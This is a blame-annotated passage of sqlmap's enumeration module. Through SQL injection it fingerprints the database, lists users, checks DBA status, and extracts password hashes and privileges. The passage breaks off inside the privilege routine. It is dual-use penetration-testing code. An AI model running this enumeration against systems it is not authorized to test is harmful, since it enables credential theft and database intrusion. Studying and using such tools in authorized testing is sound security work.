2008-10-15 19:38:22 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2008-10-15 19:56:32 +04:00
|
|
|
$Id$
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
|
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
sqlmap is free software; you can redistribute it and/or modify it under
|
|
|
|
the terms of the GNU General Public License as published by the Free
|
|
|
|
Software Foundation version 2 of the License.
|
|
|
|
|
|
|
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
|
|
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
|
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
|
|
details.
|
|
|
|
|
|
|
|
You should have received a copy of the GNU General Public License along
|
|
|
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|
|
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|
|
|
"""
|
|
|
|
|
|
|
|
import re
|
|
|
|
|
|
|
|
from lib.core.agent import agent
|
|
|
|
from lib.core.common import getRange
|
|
|
|
from lib.core.common import parsePasswordHash
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import readInput
|
2009-04-23 19:37:12 +04:00
|
|
|
from lib.core.convert import urlencode
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
|
|
|
from lib.core.data import queries
|
|
|
|
from lib.core.data import temp
|
|
|
|
from lib.core.dump import dumper
|
|
|
|
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
|
|
|
from lib.core.exception import sqlmapNoneDataException
|
|
|
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.session import setOs
|
2008-12-19 23:09:46 +03:00
|
|
|
from lib.core.settings import SQL_STATEMENTS
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.core.shell import autoCompletion
|
2008-11-02 21:17:12 +03:00
|
|
|
from lib.core.unescaper import unescaper
|
2008-11-17 20:41:02 +03:00
|
|
|
from lib.parse.banner import bannerParser
|
2008-10-15 19:38:22 +04:00
|
|
|
from lib.request import inject
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.techniques.inband.union.test import unionTest
|
2008-12-19 23:48:33 +03:00
|
|
|
from lib.techniques.outband.stacked import stackedTest
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
class Enumeration:
|
|
|
|
"""
|
|
|
|
This class defines generic enumeration functionalities for plugins.
|
|
|
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
def __init__(self, dbms):
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.has_information_schema = False
|
|
|
|
kb.data.banner = ""
|
|
|
|
kb.data.currentUser = ""
|
|
|
|
kb.data.currentDb = ""
|
|
|
|
kb.data.cachedUsers = []
|
|
|
|
kb.data.cachedUsersPasswords = {}
|
|
|
|
kb.data.cachedUsersPrivileges = {}
|
|
|
|
kb.data.cachedDbs = []
|
|
|
|
kb.data.cachedTables = {}
|
|
|
|
kb.data.cachedColumns = {}
|
|
|
|
kb.data.dumpedTable = {}
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
temp.inference = queries[dbms].inference
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-10-26 19:19:15 +03:00
|
|
|
def forceDbmsEnum(self):
|
|
|
|
pass
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def getVersionFromBanner(self):
|
|
|
|
if "dbmsVersion" in kb.bannerFp:
|
|
|
|
return
|
|
|
|
|
|
|
|
infoMsg = "detecting back-end DBMS version from its banner"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
|
|
|
if kb.dbms == "MySQL":
|
|
|
|
first, last = 1, 6
|
|
|
|
|
|
|
|
elif kb.dbms == "PostgreSQL":
|
|
|
|
first, last = 12, 6
|
|
|
|
|
|
|
|
elif kb.dbms == "Microsoft SQL Server":
|
|
|
|
first, last = 29, 9
|
|
|
|
|
|
|
|
else:
|
|
|
|
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
|
|
|
|
|
|
|
|
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
|
2008-11-17 20:41:02 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
|
|
|
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
2008-11-17 20:41:02 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def getBanner(self):
|
2009-04-22 15:48:07 +04:00
|
|
|
if not conf.getBanner:
|
|
|
|
return
|
|
|
|
|
|
|
|
kb.dbmsDetected = True
|
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching banner"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.banner:
|
|
|
|
if conf.unionUse or conf.unionTest:
|
|
|
|
dumper.string("valid union", unionTest())
|
|
|
|
|
|
|
|
query = queries[kb.dbms].banner
|
|
|
|
kb.data.banner = inject.getValue(query)
|
|
|
|
bannerParser(kb.data.banner)
|
|
|
|
|
|
|
|
if conf.os and conf.os == "windows":
|
|
|
|
kb.bannerFp["type"] = set([ "Windows" ])
|
|
|
|
|
|
|
|
elif conf.os and conf.os == "linux":
|
|
|
|
kb.bannerFp["type"] = set([ "Linux" ])
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
elif conf.os:
|
|
|
|
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
setOs()
|
|
|
|
|
|
|
|
return kb.data.banner
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def getCurrentUser(self):
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching current user"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
query = queries[kb.dbms].currentUser
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.currentUser:
|
|
|
|
kb.data.currentUser = inject.getValue(query)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return kb.data.currentUser
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def getCurrentDb(self):
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching current database"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
query = queries[kb.dbms].currentDb
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.currentDb:
|
|
|
|
kb.data.currentDb = inject.getValue(query)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return kb.data.currentDb
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-12-18 23:41:11 +03:00
|
|
|
def isDba(self):
|
|
|
|
infoMsg = "testing if current user is DBA"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2008-12-19 23:09:46 +03:00
|
|
|
query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
|
2008-12-18 23:41:11 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.isDba = inject.getValue(query, unpack=False, charsetType=1)
|
2008-12-18 23:41:11 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return kb.data.isDba == "1"
|
2008-12-18 23:41:11 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
def getUsers(self):
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching database users"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
rootQuery = queries[kb.dbms].users
|
|
|
|
|
|
|
|
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
|
2009-04-22 15:48:07 +04:00
|
|
|
condition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema )
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.unionPosition:
|
2008-10-15 19:38:22 +04:00
|
|
|
if condition:
|
|
|
|
query = rootQuery["inband"]["query2"]
|
|
|
|
else:
|
|
|
|
query = rootQuery["inband"]["query"]
|
|
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
|
|
|
|
if value:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedUsers = value
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedUsers:
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching number of database users"
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if condition:
|
|
|
|
query = rootQuery["blind"]["count2"]
|
|
|
|
else:
|
|
|
|
query = rootQuery["blind"]["count"]
|
2009-04-22 15:48:07 +04:00
|
|
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-02 22:21:19 +03:00
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "unable to retrieve the number of database users"
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
2010-01-09 03:05:00 +03:00
|
|
|
if kb.dbms == "Oracle":
|
|
|
|
plusOne = True
|
|
|
|
else:
|
|
|
|
plusOne = False
|
|
|
|
indexRange = getRange(count, plusOne=plusOne)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
for index in indexRange:
|
|
|
|
if condition:
|
|
|
|
query = rootQuery["blind"]["query2"] % index
|
|
|
|
else:
|
|
|
|
query = rootQuery["blind"]["query"] % index
|
|
|
|
user = inject.getValue(query, inband=False)
|
|
|
|
|
|
|
|
if user:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedUsers.append(user)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedUsers:
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "unable to retrieve the database users"
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return kb.data.cachedUsers
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def getPasswordHashes(self):
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching database users password hashes"
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
rootQuery = queries[kb.dbms].passwords
|
|
|
|
|
2008-12-05 18:32:59 +03:00
|
|
|
if conf.user == "CU":
|
|
|
|
infoMsg += " for current user"
|
|
|
|
conf.user = self.getCurrentUser()
|
|
|
|
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.unionPosition:
|
2008-10-15 19:38:22 +04:00
|
|
|
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
|
|
|
query = rootQuery["inband"]["query2"]
|
|
|
|
else:
|
|
|
|
query = rootQuery["inband"]["query"]
|
|
|
|
|
|
|
|
condition = rootQuery["inband"]["condition"]
|
|
|
|
|
|
|
|
if conf.user:
|
|
|
|
if "," in conf.user:
|
|
|
|
users = conf.user.split(",")
|
|
|
|
query += " WHERE "
|
|
|
|
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
|
|
|
else:
|
2009-01-20 00:25:37 +03:00
|
|
|
if kb.dbms == "MySQL":
|
|
|
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
|
|
|
|
|
|
|
if parsedUser:
|
|
|
|
conf.user = parsedUser.groups()[0]
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
query += " WHERE %s = '%s'" % (condition, conf.user)
|
|
|
|
|
|
|
|
value = inject.getValue(query, blind=False)
|
|
|
|
|
|
|
|
if value:
|
|
|
|
for user, password in value:
|
|
|
|
if not user or user == " ":
|
|
|
|
continue
|
|
|
|
|
|
|
|
password = parsePasswordHash(password)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedUsersPasswords.has_key(user):
|
|
|
|
kb.data.cachedUsersPasswords[user] = [password]
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedUsersPasswords[user].append(password)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedUsersPasswords:
|
2008-10-15 19:38:22 +04:00
|
|
|
if conf.user:
|
|
|
|
if "," in conf.user:
|
|
|
|
users = conf.user.split(",")
|
|
|
|
else:
|
|
|
|
users = [conf.user]
|
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
if not len(kb.data.cachedUsers):
|
2008-10-15 19:38:22 +04:00
|
|
|
users = self.getUsers()
|
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
users = kb.data.cachedUsers
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
retrievedUsers = set()
|
|
|
|
|
|
|
|
for user in users:
|
|
|
|
if kb.dbms == "MySQL":
|
2009-01-20 00:25:37 +03:00
|
|
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if parsedUser:
|
|
|
|
user = parsedUser.groups()[0]
|
|
|
|
|
|
|
|
if user in retrievedUsers:
|
|
|
|
continue
|
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching number of password hashes "
|
|
|
|
infoMsg += "for user '%s'" % user
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
|
|
|
query = rootQuery["blind"]["count2"] % user
|
|
|
|
else:
|
|
|
|
query = rootQuery["blind"]["count"] % user
|
2009-04-22 15:48:07 +04:00
|
|
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-02 22:21:19 +03:00
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
2008-10-15 19:38:22 +04:00
|
|
|
warnMsg = "unable to retrieve the number of password "
|
|
|
|
warnMsg += "hashes for user '%s'" % user
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
continue
|
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching password hashes for user '%s'" % user
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
passwords = []
|
2010-01-09 03:05:00 +03:00
|
|
|
|
|
|
|
if kb.dbms == "Oracle":
|
|
|
|
plusOne = True
|
|
|
|
else:
|
|
|
|
plusOne = False
|
|
|
|
indexRange = getRange(count, plusOne=plusOne)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
for index in indexRange:
|
|
|
|
if kb.dbms == "Microsoft SQL Server":
|
|
|
|
if kb.dbmsVersion[0] in ( "2005", "2008" ):
|
|
|
|
query = rootQuery["blind"]["query2"] % (user, index, user)
|
|
|
|
else:
|
|
|
|
query = rootQuery["blind"]["query"] % (user, index, user)
|
|
|
|
else:
|
|
|
|
query = rootQuery["blind"]["query"] % (user, index)
|
|
|
|
password = inject.getValue(query, inband=False)
|
|
|
|
password = parsePasswordHash(password)
|
|
|
|
passwords.append(password)
|
|
|
|
|
|
|
|
if passwords:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedUsersPasswords[user] = passwords
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
|
|
|
warnMsg = "unable to retrieve the password "
|
|
|
|
warnMsg += "hashes for user '%s'" % user
|
|
|
|
logger.warn(warnMsg)
|
|
|
|
|
|
|
|
retrievedUsers.add(user)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedUsersPasswords:
|
2008-10-15 19:38:22 +04:00
|
|
|
errMsg = "unable to retrieve the password "
|
|
|
|
errMsg += "hashes for the database users"
|
|
|
|
raise sqlmapNoneDataException, errMsg
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return kb.data.cachedUsersPasswords
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
def __isAdminFromPrivileges(self, privileges):
|
|
|
|
# In PostgreSQL the usesuper privilege means that the
|
|
|
|
# user is DBA
|
|
|
|
dbaCondition = ( kb.dbms == "PostgreSQL" and "super" in privileges )
|
|
|
|
|
|
|
|
# In Oracle the DBA privilege means that the
|
|
|
|
# user is DBA
|
|
|
|
dbaCondition |= ( kb.dbms == "Oracle" and "DBA" in privileges )
|
|
|
|
|
|
|
|
# In MySQL >= 5.0 the SUPER privilege means
|
|
|
|
# that the user is DBA
|
2009-04-22 15:48:07 +04:00
|
|
|
dbaCondition |= ( kb.dbms == "MySQL" and kb.data.has_information_schema and "SUPER" in privileges )
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
# In MySQL < 5.0 the super_priv privilege means
|
|
|
|
# that the user is DBA
|
2009-04-22 15:48:07 +04:00
|
|
|
dbaCondition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema and "super_priv" in privileges )
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
return dbaCondition
|
|
|
|
|
|
|
|
def getPrivileges(self):
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching database users privileges"
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
rootQuery = queries[kb.dbms].privileges
|
|
|
|
|
2008-12-05 18:32:59 +03:00
|
|
|
if conf.user == "CU":
|
|
|
|
infoMsg += " for current user"
|
|
|
|
conf.user = self.getCurrentUser()
|
|
|
|
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
# Set containing the list of DBMS administrators
|
|
|
|
areAdmins = set()
|
|
|
|
|
|
|
|
mysqlPrivs = (
|
|
|
|
( 1, "select_priv" ),
|
|
|
|
( 2, "insert_priv" ),
|
|
|
|
( 3, "update_priv" ),
|
|
|
|
( 4, "delete_priv" ),
|
|
|
|
( 5, "create_priv" ),
|
|
|
|
( 6, "drop_priv" ),
|
|
|
|
( 7, "reload_priv" ),
|
|
|
|
( 8, "shutdown_priv" ),
|
|
|
|
( 9, "process_priv" ),
|
|
|
|
( 10, "file_priv" ),
|
|
|
|
( 11, "grant_priv" ),
|
|
|
|
( 12, "references_priv" ),
|
|
|
|
( 13, "index_priv" ),
|
|
|
|
( 14, "alter_priv" ),
|
|
|
|
( 15, "show_db_priv" ),
|
|
|
|
( 16, "super_priv" ),
|
|
|
|
( 17, "create_tmp_table_priv" ),
|
|
|
|
( 18, "lock_tables_priv" ),
|
|
|
|
( 19, "execute_priv" ),
|
|
|
|
( 20, "repl_slave_priv" ),
|
|
|
|
( 21, "repl_client_priv" ),
|
|
|
|
( 22, "create_view_priv" ),
|
|
|
|
( 23, "show_view_priv" ),
|
|
|
|
( 24, "create_routine_priv" ),
|
|
|
|
( 25, "alter_routine_priv" ),
|
|
|
|
( 26, "create_user_priv" ),
|
|
|
|
)
|
|
|
|
|
|
|
|
pgsqlPrivs = (
|
|
|
|
( 1, "createdb" ),
|
|
|
|
( 2, "super" ),
|
|
|
|
( 3, "catupd" ),
|
|
|
|
)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.unionPosition:
|
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
query = rootQuery["inband"]["query2"]
|
|
|
|
condition = rootQuery["inband"]["condition2"]
|
|
|
|
else:
|
|
|
|
query = rootQuery["inband"]["query"]
|
|
|
|
condition = rootQuery["inband"]["condition"]
|
|
|
|
|
|
|
|
if conf.user:
|
|
|
|
if "," in conf.user:
|
|
|
|
users = conf.user.split(",")
|
|
|
|
query += " WHERE "
|
2008-11-02 21:17:12 +03:00
|
|
|
# NOTE: I assume that the user provided is not in
|
|
|
|
# MySQL >= 5.0 syntax 'user'@'host'
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and kb.data.has_information_schema:
|
2008-11-02 21:17:12 +03:00
|
|
|
queryUser = "%" + conf.user + "%"
|
2008-10-15 19:38:22 +04:00
|
|
|
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
|
|
|
|
else:
|
|
|
|
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
|
|
|
|
else:
|
2009-01-20 00:25:37 +03:00
|
|
|
if kb.dbms == "MySQL":
|
|
|
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
|
|
|
|
|
|
|
if parsedUser:
|
|
|
|
conf.user = parsedUser.groups()[0]
|
|
|
|
|
2008-11-02 21:17:12 +03:00
|
|
|
# NOTE: I assume that the user provided is not in
|
|
|
|
# MySQL >= 5.0 syntax 'user'@'host'
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and kb.data.has_information_schema:
|
2008-11-02 21:17:12 +03:00
|
|
|
queryUser = "%" + conf.user + "%"
|
|
|
|
query += " WHERE %s LIKE '%s'" % (condition, queryUser)
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
|
|
|
query += " WHERE %s = '%s'" % (condition, conf.user)
|
|
|
|
|
|
|
|
values = inject.getValue(query, blind=False)
|
|
|
|
|
|
|
|
if values:
|
|
|
|
for value in values:
|
|
|
|
user = None
|
|
|
|
privileges = set()
|
|
|
|
|
|
|
|
for count in xrange(0, len(value)):
|
|
|
|
# The first column is always the username
|
|
|
|
if count == 0:
|
|
|
|
user = value[count]
|
|
|
|
|
|
|
|
# The other columns are the privileges
|
|
|
|
else:
|
|
|
|
privilege = value[count]
|
|
|
|
|
|
|
|
# In PostgreSQL we get 1 if the privilege is
|
|
|
|
# True, 0 otherwise
|
|
|
|
if kb.dbms == "PostgreSQL" and privilege.isdigit():
|
|
|
|
for position, pgsqlPriv in pgsqlPrivs:
|
|
|
|
if count == position and int(privilege) == 1:
|
|
|
|
privileges.add(pgsqlPriv)
|
|
|
|
|
|
|
|
# In MySQL >= 5.0 and Oracle we get the list
|
|
|
|
# of privileges as string
|
2009-04-22 15:48:07 +04:00
|
|
|
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
|
2008-10-15 19:38:22 +04:00
|
|
|
privileges.add(privilege)
|
|
|
|
|
|
|
|
# In MySQL < 5.0 we get Y if the privilege is
|
|
|
|
# True, N otherwise
|
2009-04-22 15:48:07 +04:00
|
|
|
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-10-15 19:38:22 +04:00
|
|
|
for position, mysqlPriv in mysqlPrivs:
|
|
|
|
if count == position and privilege.upper() == "Y":
|
|
|
|
privileges.add(mysqlPriv)
|
|
|
|
|
|
|
|
if self.__isAdminFromPrivileges(privileges):
|
|
|
|
areAdmins.add(user)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.data.cachedUsersPrivileges.has_key(user):
|
|
|
|
kb.data.cachedUsersPrivileges[user].extend(privileges)
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
kb.data.cachedUsersPrivileges[user] = list(privileges)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if not kb.data.cachedUsersPrivileges:
|
2008-11-02 21:17:12 +03:00
|
|
|
conditionChar = "="
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
if conf.user:
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and kb.data.has_information_schema:
|
2008-11-02 21:17:12 +03:00
|
|
|
conditionChar = " LIKE "
|
|
|
|
|
|
|
|
if "," in conf.user:
|
|
|
|
users = set()
|
|
|
|
for user in conf.user.split(","):
|
|
|
|
users.add("%" + user + "%")
|
|
|
|
else:
|
2009-01-20 00:25:37 +03:00
|
|
|
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
|
|
|
|
|
|
|
|
if parsedUser:
|
|
|
|
conf.user = parsedUser.groups()[0]
|
|
|
|
|
2008-11-02 21:17:12 +03:00
|
|
|
users = [ "%" + conf.user + "%" ]
|
|
|
|
|
|
|
|
elif "," in conf.user:
|
2008-10-15 19:38:22 +04:00
|
|
|
users = conf.user.split(",")
|
2008-11-02 21:17:12 +03:00
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2008-11-02 21:17:12 +03:00
|
|
|
users = [ conf.user ]
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
if not len(kb.data.cachedUsers):
|
2008-10-15 19:38:22 +04:00
|
|
|
users = self.getUsers()
|
|
|
|
else:
|
2009-04-22 15:48:07 +04:00
|
|
|
users = kb.data.cachedUsers
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
retrievedUsers = set()
|
|
|
|
|
|
|
|
for user in users:
|
2008-11-02 21:17:12 +03:00
|
|
|
unescapedUser = None
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and kb.data.has_information_schema:
|
2008-11-02 21:17:12 +03:00
|
|
|
unescapedUser = unescaper.unescape(user, quote=False)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
if user in retrievedUsers:
|
|
|
|
continue
|
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching number of privileges "
|
|
|
|
infoMsg += "for user '%s'" % user
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-02 21:17:12 +03:00
|
|
|
if unescapedUser:
|
|
|
|
queryUser = unescapedUser
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2008-11-02 21:17:12 +03:00
|
|
|
queryUser = user
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-11-02 21:17:12 +03:00
|
|
|
query = rootQuery["blind"]["count2"] % queryUser
|
2009-04-22 15:48:07 +04:00
|
|
|
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
|
2008-11-02 21:17:12 +03:00
|
|
|
query = rootQuery["blind"]["count"] % (conditionChar, queryUser)
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2008-11-02 21:17:12 +03:00
|
|
|
query = rootQuery["blind"]["count"] % queryUser
|
2009-04-22 15:48:07 +04:00
|
|
|
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2008-11-02 22:21:19 +03:00
|
|
|
if not count.isdigit() or not len(count) or count == "0":
|
2008-10-15 19:38:22 +04:00
|
|
|
warnMsg = "unable to retrieve the number of "
|
2008-11-02 21:17:12 +03:00
|
|
|
warnMsg += "privileges for user '%s'" % user
|
2008-10-15 19:38:22 +04:00
|
|
|
logger.warn(warnMsg)
|
|
|
|
continue
|
|
|
|
|
2008-11-12 03:36:50 +03:00
|
|
|
infoMsg = "fetching privileges for user '%s'" % user
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
privileges = set()
|
2010-01-09 03:05:00 +03:00
|
|
|
|
|
|
|
if kb.dbms == "Oracle":
|
|
|
|
plusOne = True
|
|
|
|
else:
|
|
|
|
plusOne = False
|
|
|
|
indexRange = getRange(count, plusOne=plusOne)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
|
|
|
for index in indexRange:
|
2009-04-22 15:48:07 +04:00
|
|
|
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
2008-11-02 21:17:12 +03:00
|
|
|
query = rootQuery["blind"]["query2"] % (queryUser, index)
|
2009-04-22 15:48:07 +04:00
|
|
|
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
|
2008-11-02 21:17:12 +03:00
|
|
|
query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index)
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2008-11-02 21:17:12 +03:00
|
|
|
query = rootQuery["blind"]["query"] % (queryUser, index)
|
2008-10-15 19:38:22 +04:00
|
|
|
privilege = inject.getValue(query, inband=False)
|
|
|
|
|
2008-11-02 21:17:12 +03:00
|
|
|
# In PostgreSQL we get 1 if the privilege is True,
|
|
|
|
# 0 otherwise
|
2008-10-15 19:38:22 +04:00
|
|
|
if kb.dbms == "PostgreSQL" and ", " in privilege:
|
|
|
|
privilege = privilege.replace(", ", ",")
|
|
|
|
